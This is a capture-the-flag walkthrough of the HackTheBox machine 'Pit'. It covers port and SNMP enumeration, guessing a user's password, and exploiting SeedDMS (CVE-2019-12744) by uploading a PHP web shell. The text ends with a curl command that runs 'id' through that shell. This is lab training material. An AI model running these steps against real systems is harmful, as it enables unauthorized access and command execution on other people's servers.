Name | Pit | |
Difficulty | Medium | |
Release Date | 2021-05-15 | |
Retired Date | <don’t know> | |
IP Address | 10.10.10.241 | |
OS | Linux | |
Points | 30 |
The WalkThrough is protected with the root user’s password hash for as long as the box is active. For any doubt on what to insert here check my How to Unlock WalkThroughs.
foothold
I really spent too much time on the initial foothold on this box, but that’s thanks to its characteristics. I was still able to keep going even not having done all my enumeration because it was taking so long that I just went to the HTB Forum thread looking for clues (and did find them).
I started as usual with a normal nmap
scan:
# Nmap 7.80 scan initiated Fri Jun 18 22:44:07 2021 as: nmap -p- -sV -sC -oN nmap 10.10.10.241
Nmap scan report for pit.htb (10.10.10.241)
Host is up (0.48s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 3072 6f:c3:40:8f:69:50:69:5a:57:d7:9c:4e:7b:1b:94:96 (RSA)
| 256 c2:6f:f8:ab:a1:20:83:d1:60:ab:cf:63:2d:c8:65:b7 (ECDSA)
|_ 256 6b:65:6c:a6:92:e5:cc:76:17:5a:2f:9a:e7:50:c3:50 (ED25519)
80/tcp open http nginx 1.14.1
|_http-server-header: nginx/1.14.1
|_http-title: Test Page for the Nginx HTTP Server on Red Hat Enterprise Linux
9090/tcp open ssl/zeus-admin?
| fingerprint-strings:
| GetRequest, HTTPOptions:
| HTTP/1.1 400 Bad request
| Content-Type: text/html; charset=utf8
| Transfer-Encoding: chunked
| X-DNS-Prefetch-Control: off
| Referrer-Policy: no-referrer
| X-Content-Type-Options: nosniff
| Cross-Origin-Resource-Policy: same-origin
| <!DOCTYPE html>
| <html>
| <head>
| <title>
| request
| </title>
| <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <style>
| body {
| margin: 0;
| font-family: "RedHatDisplay", "Open Sans", Helvetica, Arial, sans-serif;
| font-size: 12px;
| line-height: 1.66666667;
| color: #333333;
| background-color: #f5f5f5;
| border: 0;
| vertical-align: middle;
| font-weight: 300;
|_ margin: 0 0 10p
| ssl-cert: Subject: commonName=dms-pit.htb/organizationName=4cd9329523184b0ea52ba0d20a1a6f92/countryName=US
| Subject Alternative Name: DNS:dms-pit.htb, DNS:localhost, IP Address:127.0.0.1
| Not valid before: 2020-04-16T23:29:12
|_Not valid after: 2030-06-04T16:09:12
|_ssl-date: TLS randomness does not represent time
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9090-TCP:V=7.80%T=SSL%I=7%D=6/18%Time=60CD1CE3%P=x86_64-redhat-linu
SF:x-gnu%r(GetRequest,E70,"HTTP/1\.1\x20400\x20Bad\x20request\r\nContent-T
SF:ype:\x20text/html;\x20charset=utf8\r\nTransfer-Encoding:\x20chunked\r\n
SF:X-DNS-Prefetch-Control:\x20off\r\nReferrer-Policy:\x20no-referrer\r\nX-
SF:Content-Type-Options:\x20nosniff\r\nCross-Origin-Resource-Policy:\x20sa
SF:me-origin\r\n\r\n29\r\n<!DOCTYPE\x20html>\n<html>\n<head>\n\x20\x20\x20
SF:\x20<title>\r\nb\r\nBad\x20request\r\nd08\r\n</title>\n\x20\x20\x20\x20
SF:<meta\x20http-equiv=\"Content-Type\"\x20content=\"text/html;\x20charset
SF:=utf-8\">\n\x20\x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"widt
SF:h=device-width,\x20initial-scale=1\.0\">\n\x20\x20\x20\x20<style>\n\tbo
SF:dy\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20margin:\x200;\
SF:n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-family:\x20\"RedH
SF:atDisplay\",\x20\"Open\x20Sans\",\x20Helvetica,\x20Arial,\x20sans-serif
SF:;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-size:\x2012px;\
SF:n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20line-height:\x201\.666
SF:66667;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20color:\x20#3333
SF:33;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20background-color:\
SF:x20#f5f5f5;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20\x20\x2
SF:0\x20\x20img\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20bord
SF:er:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20vertical-ali
SF:gn:\x20middle;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20\x20
SF:\x20\x20\x20h1\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20fo
SF:nt-weight:\x20300;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20
SF:\x20\x20\x20\x20p\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0margin:\x200\x200\x2010p")%r(HTTPOptions,E70,"HTTP/1\.1\x20400\x20Bad\
SF:x20request\r\nContent-Type:\x20text/html;\x20charset=utf8\r\nTransfer-E
SF:ncoding:\x20chunked\r\nX-DNS-Prefetch-Control:\x20off\r\nReferrer-Polic
SF:y:\x20no-referrer\r\nX-Content-Type-Options:\x20nosniff\r\nCross-Origin
SF:-Resource-Policy:\x20same-origin\r\n\r\n29\r\n<!DOCTYPE\x20html>\n<html
SF:>\n<head>\n\x20\x20\x20\x20<title>\r\nb\r\nBad\x20request\r\nd08\r\n</t
SF:itle>\n\x20\x20\x20\x20<meta\x20http-equiv=\"Content-Type\"\x20content=
SF:\"text/html;\x20charset=utf-8\">\n\x20\x20\x20\x20<meta\x20name=\"viewp
SF:ort\"\x20content=\"width=device-width,\x20initial-scale=1\.0\">\n\x20\x
SF:20\x20\x20<style>\n\tbody\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20margin:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0font-family:\x20\"RedHatDisplay\",\x20\"Open\x20Sans\",\x20Helvetica,\
SF:x20Arial,\x20sans-serif;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20font-size:\x2012px;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0line-height:\x201\.66666667;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20color:\x20#333333;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20background-color:\x20#f5f5f5;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n
SF:\x20\x20\x20\x20\x20\x20\x20\x20img\x20{\n\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20border:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20vertical-align:\x20middle;\n\x20\x20\x20\x20\x20\x20\x20\x20
SF:}\n\x20\x20\x20\x20\x20\x20\x20\x20h1\x20{\n\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20font-weight:\x20300;\n\x20\x20\x20\x20\x20\x20\x20
SF:\x20}\n\x20\x20\x20\x20\x20\x20\x20\x20p\x20{\n\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20margin:\x200\x200\x2010p");
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jun 18 23:25:37 2021 -- 1 IP address (1 host up) scanned in 2489.27 seconds
So, not much running on the box, just ssh
, a nginx
test page and something on port 9090 (with ssl certificate for a domain dms-pit.htb
). I decided to fire a gobuster
on the nginx
site and check what was running on port 9090:
┌─[r3pek]-[~/CTF/HTB/Machines/Pit]
└─$ gobuster dir -u http://pit.htb -w /usr/share/dirb/big.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://pit.htb
[+] Threads: 10
[+] Wordlist: /usr/share/dirb/big.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2021/06/19 00:40:20 Starting gobuster
===============================================================
===============================================================
2021/06/19 00:42:56 Finished
===============================================================
The “normal” web server looks like it’s hosting nothing besides the nginx
test page and the service running on port 9090 is actually Cockpit, a web interface that allows you to control/manage your server. Searching for Cockpit CVEs didn’t turn up with something meaningful besides CVE-2020-35850 which would actually help me if I needed to find some open port on localhost
or something (exploit-db.com ready made script). Didn’t look like I had any use for it at the moment so I kept a reference and continued my enumeration.
Having nothing to go on, I wanted to do some enumeration on the dms-pit.htb
domain, so I ran gobuster
on it too, because you never know, there might be some vhosts in place.
┌─[r3pek]-[~/CTF/HTB/Machines/Pit]
└─$ gobuster dir -u http://dms-pit.htb/ -w /usr/share/dirb/big.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://dms-pit.htb/
[+] Threads: 10
[+] Wordlist: /usr/share/dirb/big.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2021/06/19 00:46:20 Starting gobuster
===============================================================
/_conf (Status: 403)
/_configs (Status: 403)
/_config (Status: 403)
/_confirm (Status: 403)
/_vti_conf (Status: 403)
/aaa-config (Status: 403)
/app_config (Status: 403)
/appearances (Status: 403)
/autoconfig (Status: 403)
/cartconfig (Status: 403)
/commconfig (Status: 403)
/conf (Status: 403)
/configfiles (Status: 403)
/config_paybox (Status: 403)
/conferences (Status: 403)
/confidential (Status: 403)
/confetti-brides (Status: 403)
/confarc (Status: 403)
/conference (Status: 403)
/config (Status: 403)
/config-old (Status: 403)
/configs (Status: 403)
/confirm (Status: 403)
/configuracion (Status: 403)
/confirmare (Status: 403)
/configurator (Status: 403)
/configuration (Status: 403)
/configurazione (Status: 403)
/confirmacio (Status: 403)
/configure (Status: 403)
/confirmations (Status: 403)
/confirmation (Status: 403)
/contacts_confirm (Status: 403)
/disappear (Status: 403)
/disappearing (Status: 403)
/dm-config (Status: 403)
/esw_config (Status: 403)
/getconfig (Status: 403)
/hsconfig (Status: 403)
/ip_configs (Status: 403)
/myconfigs (Status: 403)
/pear (Status: 403)
/pearljam (Status: 403)
/pearl (Status: 403)
/sbconf (Status: 403)
/scriptconf (Status: 403)
/site-config (Status: 403)
/siteconfig (Status: 403)
/sitemap.xml (Status: 403)
/slurpconfirm404 (Status: 403)
/templates_conf (Status: 403)
/typo3conf (Status: 403)
/web.xml (Status: 403)
/webconfig (Status: 403)
/wp-config (Status: 403)
===============================================================
2021/06/19 00:48:56 Finished
===============================================================
Empty handed again. One ting I did notice is that every tested URL that contained “conf”, “app” or “pear” got denied (403). Again, it really doesn’t give one much information, but I ended up just taking note of it and kept going.
The last thing I remembered to do was to run an UDP nmap scan to check for any open ports, and this was where I failed. When I change from TCP to UDP, I normally just reuse the same command but add -sU
to run a UDP scan, which turns out to be something like nmap -p- -sV -sC -oN nmap-udp -sU pit.htb
. The problem with this is that it scans all the UDP ports and CentOS servers are actually very tight in firewall rules and block lots of things, making this scan take forever. Still, at this time, I just let it run since I had nothing else to do.
With nothing to be found on anything being served, and with the UDP scan going, I thought that maybe I was just not enumerating enough, I still hadn’t saw what I needed to see to get my foothold, but something was missing in my method. This was when I went to the HTB Forum Pit thread. People talking about “walking”, which I assumed was related to exhaustively enumerate everything, and then there was this guy (zer0bubble
), that said that HTB Twitter’s announcement of the box had a pretty good hint. So, I tracked that one:
To find your way to the Pit you need to WALK🏃♂️ Pit #Medium #Linux Machine created by polarbearer & GibParadox will go live 15 May 2021 at 19:00:00 UTC. Ready will be retired! Join now and start #hacking: https://t.co/iMTpgs2GPN#HackTheBox #CyberSecurity #InfoSec pic.twitter.com/IqXqYmnAsa
— Hack The Box (@hackthebox_eu) May 12, 2021
I don’t know why it actually “clicked” on me reading that tweet, and not on the forum thread, but when I saw “WALK”, I thought: “It has to be something related to snmpwalk
!”
So, guess what? I quickly installed it, and run it on the box:
┌─[r3pek]-[~/CTF/HTB/Machines/Pit]
└─$ snmpwalk -v2c -c public pit.htb system
SNMPv2-MIB::sysDescr.0 = STRING: Linux pit.htb 4.18.0-240.22.1.el8_3.x86_64 #1 SMP Thu Apr 8 19:01:30 UTC 2021 x86_64
SNMPv2-MIB::sysObjectID.0 = OID: NET-SNMP-MIB::netSnmpAgentOIDs.10
DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (12117656) 1 day, 9:39:36.56
SNMPv2-MIB::sysContact.0 = STRING: Root <root@localhost> (configure /etc/snmp/snmp.local.conf)
SNMPv2-MIB::sysName.0 = STRING: pit.htb
SNMPv2-MIB::sysLocation.0 = STRING: Unknown (edit /etc/snmp/snmpd.conf)
SNMPv2-MIB::sysORLastChange.0 = Timeticks: (1) 0:00:00.01
SNMPv2-MIB::sysORID.1 = OID: SNMP-FRAMEWORK-MIB::snmpFrameworkMIBCompliance
SNMPv2-MIB::sysORID.2 = OID: SNMP-MPD-MIB::snmpMPDCompliance
SNMPv2-MIB::sysORID.3 = OID: SNMP-USER-BASED-SM-MIB::usmMIBCompliance
SNMPv2-MIB::sysORID.4 = OID: SNMPv2-MIB::snmpMIB
SNMPv2-MIB::sysORID.5 = OID: SNMP-VIEW-BASED-ACM-MIB::vacmBasicGroup
SNMPv2-MIB::sysORID.6 = OID: TCP-MIB::tcpMIB
SNMPv2-MIB::sysORID.7 = OID: IP-MIB::ip
SNMPv2-MIB::sysORID.8 = OID: UDP-MIB::udpMIB
SNMPv2-MIB::sysORID.9 = OID: SNMP-NOTIFICATION-MIB::snmpNotifyFullCompliance
SNMPv2-MIB::sysORID.10 = OID: NOTIFICATION-LOG-MIB::notificationLogMIB
SNMPv2-MIB::sysORDescr.1 = STRING: The SNMP Management Architecture MIB.
SNMPv2-MIB::sysORDescr.2 = STRING: The MIB for Message Processing and Dispatching.
SNMPv2-MIB::sysORDescr.3 = STRING: The management information definitions for the SNMP User-based Security Model.
SNMPv2-MIB::sysORDescr.4 = STRING: The MIB module for SNMPv2 entities
SNMPv2-MIB::sysORDescr.5 = STRING: View-based Access Control Model for SNMP.
SNMPv2-MIB::sysORDescr.6 = STRING: The MIB module for managing TCP implementations
SNMPv2-MIB::sysORDescr.7 = STRING: The MIB module for managing IP and ICMP implementations
SNMPv2-MIB::sysORDescr.8 = STRING: The MIB module for managing UDP implementations
SNMPv2-MIB::sysORDescr.9 = STRING: The MIB modules for managing SNMP Notification, plus filtering.
SNMPv2-MIB::sysORDescr.10 = STRING: The MIB module for logging SNMP Notifications.
SNMPv2-MIB::sysORUpTime.1 = Timeticks: (1) 0:00:00.01
SNMPv2-MIB::sysORUpTime.2 = Timeticks: (1) 0:00:00.01
SNMPv2-MIB::sysORUpTime.3 = Timeticks: (1) 0:00:00.01
SNMPv2-MIB::sysORUpTime.4 = Timeticks: (1) 0:00:00.01
SNMPv2-MIB::sysORUpTime.5 = Timeticks: (1) 0:00:00.01
SNMPv2-MIB::sysORUpTime.6 = Timeticks: (1) 0:00:00.01
SNMPv2-MIB::sysORUpTime.7 = Timeticks: (1) 0:00:00.01
SNMPv2-MIB::sysORUpTime.8 = Timeticks: (1) 0:00:00.01
SNMPv2-MIB::sysORUpTime.9 = Timeticks: (1) 0:00:00.01
SNMPv2-MIB::sysORUpTime.10 = Timeticks: (1) 0:00:00.01
And there is the confirmation! The box was running an SNMP daemon. The reason I didn’t find it was because snmp
runs on the UDP or TCP, but defaults to only UDP afaik. At this point and left the nmap scan running but kept digging into the SNMP information.
With SNMP we can query lots of stuff about a system and what it really tells you just depends on how it’s configured. Normally, at least the system OID should be showing (that’s why we had that output), but there are lots of OIDs, proprietary ones, open ones, specific to devices, etc., but it this case, what I really wanted was just everything. “Everything” is represented as a “.” for snmpwalk
, so I just run that one.
1┌─[r3pek]-[~/CTF/HTB/Machines/Pit]
2└─$ snmpwalk -v2c -c public pit.htb .
3SNMPv2-MIB::sysDescr.0 = STRING: Linux pit.htb 4.18.0-240.22.1.el8_3.x86_64 #1 SMP Thu Apr 8 19:01:30 UTC 2021 x86_64
4SNMPv2-MIB::sysObjectID.0 = OID: NET-SNMP-MIB::netSnmpAgentOIDs.10
5DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (3768363) 10:28:03.63
6SNMPv2-MIB::sysContact.0 = STRING: Root <root@localhost> (configure /etc/snmp/snmp.local.conf)
7SNMPv2-MIB::sysName.0 = STRING: pit.htb
8SNMPv2-MIB::sysLocation.0 = STRING: Unknown (edit /etc/snmp/snmpd.conf)
9SNMPv2-MIB::sysORLastChange.0 = Timeticks: (1) 0:00:00.01
10SNMPv2-MIB::sysORID.1 = OID: SNMP-FRAMEWORK-MIB::snmpFrameworkMIBCompliance
11SNMPv2-MIB::sysORID.2 = OID: SNMP-MPD-MIB::snmpMPDCompliance
12SNMPv2-MIB::sysORID.3 = OID: SNMP-USER-BASED-SM-MIB::usmMIBCompliance
13SNMPv2-MIB::sysORID.4 = OID: SNMPv2-MIB::snmpMIB
14SNMPv2-MIB::sysORID.5 = OID: SNMP-VIEW-BASED-ACM-MIB::vacmBasicGroup
15SNMPv2-MIB::sysORID.6 = OID: TCP-MIB::tcpMIB
16SNMPv2-MIB::sysORID.7 = OID: IP-MIB::ip
17SNMPv2-MIB::sysORID.8 = OID: UDP-MIB::udpMIB
18SNMPv2-MIB::sysORID.9 = OID: SNMP-NOTIFICATION-MIB::snmpNotifyFullCompliance
19SNMPv2-MIB::sysORID.10 = OID: NOTIFICATION-LOG-MIB::notificationLogMIB
20SNMPv2-MIB::sysORDescr.1 = STRING: The SNMP Management Architecture MIB.
21SNMPv2-MIB::sysORDescr.2 = STRING: The MIB for Message Processing and Dispatching.
22SNMPv2-MIB::sysORDescr.3 = STRING: The management information definitions for the SNMP User-based Security Model.
23SNMPv2-MIB::sysORDescr.4 = STRING: The MIB module for SNMPv2 entities
24SNMPv2-MIB::sysORDescr.5 = STRING: View-based Access Control Model for SNMP.
25SNMPv2-MIB::sysORDescr.6 = STRING: The MIB module for managing TCP implementations
26SNMPv2-MIB::sysORDescr.7 = STRING: The MIB module for managing IP and ICMP implementations
27SNMPv2-MIB::sysORDescr.8 = STRING: The MIB module for managing UDP implementations
28SNMPv2-MIB::sysORDescr.9 = STRING: The MIB modules for managing SNMP Notification, plus filtering.
29SNMPv2-MIB::sysORDescr.10 = STRING: The MIB module for logging SNMP Notifications.
30<snip>
31UCD-SNMP-MIB::prIndex.1 = INTEGER: 1
32UCD-SNMP-MIB::prNames.1 = STRING: nginx
33UCD-SNMP-MIB::prMin.1 = INTEGER: 1
34UCD-SNMP-MIB::prMax.1 = INTEGER: 0
35UCD-SNMP-MIB::prCount.1 = INTEGER: 3
36UCD-SNMP-MIB::prErrorFlag.1 = INTEGER: noError(0)
37UCD-SNMP-MIB::prErrFix.1 = INTEGER: noError(0)
38UCD-SNMP-MIB::prErrFixCmd.1 = STRING:
39UCD-SNMP-MIB::dskIndex.1 = INTEGER: 1
40UCD-SNMP-MIB::dskIndex.2 = INTEGER: 2
41UCD-SNMP-MIB::dskPath.1 = STRING: /
42UCD-SNMP-MIB::dskPath.2 = STRING: /var/www/html/seeddms51x/seeddms
43UCD-SNMP-MIB::dskDevice.1 = STRING: /dev/mapper/cl-root
44UCD-SNMP-MIB::dskDevice.2 = STRING: /dev/mapper/cl-seeddms
45UCD-SNMP-MIB::dskMinimum.1 = INTEGER: 10000
46UCD-SNMP-MIB::dskMinimum.2 = INTEGER: 100000
47UCD-SNMP-MIB::dskMinPercent.1 = INTEGER: -1
48UCD-SNMP-MIB::dskMinPercent.2 = INTEGER: -1
49UCD-SNMP-MIB::dskTotal.1 = INTEGER: 2611200
50UCD-SNMP-MIB::dskTotal.2 = INTEGER: 125600
51UCD-SNMP-MIB::dskAvail.1 = INTEGER: 349500
52UCD-SNMP-MIB::dskAvail.2 = INTEGER: 75496
53UCD-SNMP-MIB::dskUsed.1 = INTEGER: 2261700
54UCD-SNMP-MIB::dskUsed.2 = INTEGER: 50104
55UCD-SNMP-MIB::dskPercent.1 = INTEGER: 87
56UCD-SNMP-MIB::dskPercent.2 = INTEGER: 40
57UCD-SNMP-MIB::dskPercentNode.1 = INTEGER: 7
58UCD-SNMP-MIB::dskPercentNode.2 = INTEGER: 4
59UCD-SNMP-MIB::dskTotalLow.1 = Gauge32: 2611200
60UCD-SNMP-MIB::dskTotalLow.2 = Gauge32: 125600
61UCD-SNMP-MIB::dskTotalHigh.1 = Gauge32: 0
62UCD-SNMP-MIB::dskTotalHigh.2 = Gauge32: 0
63UCD-SNMP-MIB::dskAvailLow.1 = Gauge32: 349500
64UCD-SNMP-MIB::dskAvailLow.2 = Gauge32: 75496
65UCD-SNMP-MIB::dskAvailHigh.1 = Gauge32: 0
66UCD-SNMP-MIB::dskAvailHigh.2 = Gauge32: 0
67UCD-SNMP-MIB::dskUsedLow.1 = Gauge32: 2261700
68UCD-SNMP-MIB::dskUsedLow.2 = Gauge32: 50104
69UCD-SNMP-MIB::dskUsedHigh.1 = Gauge32: 0
70UCD-SNMP-MIB::dskUsedHigh.2 = Gauge32: 0
71UCD-SNMP-MIB::dskErrorFlag.1 = INTEGER: noError(0)
72UCD-SNMP-MIB::dskErrorFlag.2 = INTEGER: error(1)
73NET-SNMP-EXTEND-MIB::nsExtendNumEntries.0 = INTEGER: 1
74NET-SNMP-EXTEND-MIB::nsExtendCommand."monitoring" = STRING: /usr/bin/monitor
75NET-SNMP-EXTEND-MIB::nsExtendArgs."monitoring" = STRING:
76NET-SNMP-EXTEND-MIB::nsExtendInput."monitoring" = STRING:
77NET-SNMP-EXTEND-MIB::nsExtendCacheTime."monitoring" = INTEGER: 5
78NET-SNMP-EXTEND-MIB::nsExtendExecType."monitoring" = INTEGER: exec(1)
79NET-SNMP-EXTEND-MIB::nsExtendRunType."monitoring" = INTEGER: run-on-read(1)
80NET-SNMP-EXTEND-MIB::nsExtendStorage."monitoring" = INTEGER: permanent(4)
81NET-SNMP-EXTEND-MIB::nsExtendStatus."monitoring" = INTEGER: active(1)
82NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."monitoring" = STRING: Memory usage
83NET-SNMP-EXTEND-MIB::nsExtendOutputFull."monitoring" = STRING: Memory usage
84 total used free shared buff/cache available
85Mem: 3.8Gi 385Mi 3.1Gi 16Mi 378Mi 3.2Gi
86Swap: 1.9Gi 0B 1.9Gi
87Database status
88OK - Connection to database successful.
89System release info
90CentOS Linux release 8.3.2011
91SELinux Settings
92user
93
94 Labeling MLS/ MLS/
95SELinux User Prefix MCS Level MCS Range SELinux Roles
96
97guest_u user s0 s0 guest_r
98root user s0 s0-s0:c0.c1023 staff_r sysadm_r system_r unconfined_r
99staff_u user s0 s0-s0:c0.c1023 staff_r sysadm_r unconfined_r
100sysadm_u user s0 s0-s0:c0.c1023 sysadm_r
101system_u user s0 s0-s0:c0.c1023 system_r unconfined_r
102unconfined_u user s0 s0-s0:c0.c1023 system_r unconfined_r
103user_u user s0 s0 user_r
104xguest_u user s0 s0 xguest_r
105login
106
107Login Name SELinux User MLS/MCS Range Service
108
109__default__ unconfined_u s0-s0:c0.c1023 *
110michelle user_u s0 *
111root unconfined_u s0-s0:c0.c1023 *
112System uptime
113 20:33:45 up 10:30, 0 users, load average: 0.00, 0.11, 0.22
114NET-SNMP-EXTEND-MIB::nsExtendOutNumLines."monitoring" = INTEGER: 31
115NET-SNMP-EXTEND-MIB::nsExtendResult."monitoring" = INTEGER: 0
116NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".1 = STRING: Memory usage
117NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".2 = STRING: total used free shared buff/cache available
118NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".3 = STRING: Mem: 3.8Gi 385Mi 3.1Gi 16Mi 378Mi 3.2Gi
119NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".4 = STRING: Swap: 1.9Gi 0B 1.9Gi
120NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".5 = STRING: Database status
121NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".6 = STRING: OK - Connection to database successful.
122NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".7 = STRING: System release info
123NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".8 = STRING: CentOS Linux release 8.3.2011
124NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".9 = STRING: SELinux Settings
125NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".10 = STRING: user
126NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".11 = STRING:
127NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".12 = STRING: Labeling MLS/ MLS/
128NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".13 = STRING: SELinux User Prefix MCS Level MCS Range SELinux Roles
129NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".14 = STRING:
130NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".15 = STRING: guest_u user s0 s0 guest_r
131NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".16 = STRING: root user s0 s0-s0:c0.c1023 staff_r sysadm_r system_r unconfined_r
132NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".17 = STRING: staff_u user s0 s0-s0:c0.c1023 staff_r sysadm_r unconfined_r
133NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".18 = STRING: sysadm_u user s0 s0-s0:c0.c1023 sysadm_r
134NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".19 = STRING: system_u user s0 s0-s0:c0.c1023 system_r unconfined_r
135NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".20 = STRING: unconfined_u user s0 s0-s0:c0.c1023 system_r unconfined_r
136NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".21 = STRING: user_u user s0 s0 user_r
137NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".22 = STRING: xguest_u user s0 s0 xguest_r
138NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".23 = STRING: login
139NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".24 = STRING:
140NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".25 = STRING: Login Name SELinux User MLS/MCS Range Service
141NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".26 = STRING:
142NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".27 = STRING: __default__ unconfined_u s0-s0:c0.c1023 *
143NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".28 = STRING: michelle user_u s0 *
144NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".29 = STRING: root unconfined_u s0-s0:c0.c1023 *
145NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".30 = STRING: System uptime
146NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".31 = STRING: 20:33:45 up 10:30, 0 users, load average: 0.00, 0.11, 0.22
147NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".31 = No more variables left in this MIB View (It is past the end of the MIB tree)
I’ve <snip>ed
most of the output to leave just the interesting parts. On this output there were 3 things that caught my attention:
- Line 42: STRING: /var/www/html/seeddms51x/seeddms
- Line 73-74: Where SNMP “states” that is running /usr/bin/monitor
- Line 143: There’s a user named
michelle
With the first one, we have found a directory that, by the name, is served under the domain dns-pit.htb
but that we didn’t find because the folder name isn’t on the list I used (don’t think it’s on any list at all). The second just tells me that theres is some command that shows extra information the admin wanted to be shared via SNMP for monitoring purposes. The 3rd one is kinda obvious, there’s a user in the system named michelle
that should probably hold the user flag. Last but not the least, there is some kind of database running on the server, which we can see with the line “OK - Connection to database successful.”.
What I needed to focus right now was on that website, and everything else was kinda of secondary, at least until I had my foothold.
Great! Another login prompt. Not much we can do until we have some credentials so, I just went on to search for CVEs for SeedDMS
. There was an interesting one (CVE-2019-12744) that allowed for RCE on the box but I had to authenticate first. I really needed to find some way to find a password. I went back to the snmpwalk
output to check for clues but nothing, but then I decided to try some random ones… 1 or 2 minutes later I posted this message on a Discord chat with some friends:
Guess what! michelle
’s password is… “michelle” 😆😆😆😆
So, now, if the SeedDMS version is 5.1.10 or bellow, we can use the RCE CVE mentioned above and should be golden for our foothold. Problem was that there was this “Upgrade Note” from the Administrator
saying this:
Dear colleagues, Because of security issues in the previously installed version (5.1.10), I upgraded SeedDMS to version 5.1.15. See the attached CHANGELOG file for more information. If you find any issues, please report them immediately to admin@dms-pit.htb.
Oh damn! Out of luck ☹️. I quickly downloaded http://dms-pit.htb/seeddms51x/seeddms/CHANGELOG just to be sure, and I had confirmation. The damn site was running 5.1.15. Since I’ve lost my way in, or at least the planned one, I needed to get back and research fore some more bugs on this version now. After 30 minutes or something, I just said: “Fuck it, maybe it’s not patched anyway and only the CHANGELOG file was changed”. So I tried to run the exploit which is just to upload a simple php shell on the user’s documents folder.
So, now we just need to run the actually uploaded file. The file itself is in at /data/1048576/<DOC_ID>/1.php
, where <DOC_ID
is the ID for the document we just uploaded (just clicking on the document and checking the URL will show you something like http://dms-pit.htb/seeddms51x/seeddms/out/out.ViewDocument.php?documentid=52&showtree=1
, so ID 52 in this case).
OK, so far so good, now let’s pray that this actually works 🙏
┌─[r3pek]-[~/CTF/HTB/Machines/Pit]
└─$ curl http://dms-pit.htb/seeddms51x/data/1048576/52/1.php --data 'password=lol&cmd=id'
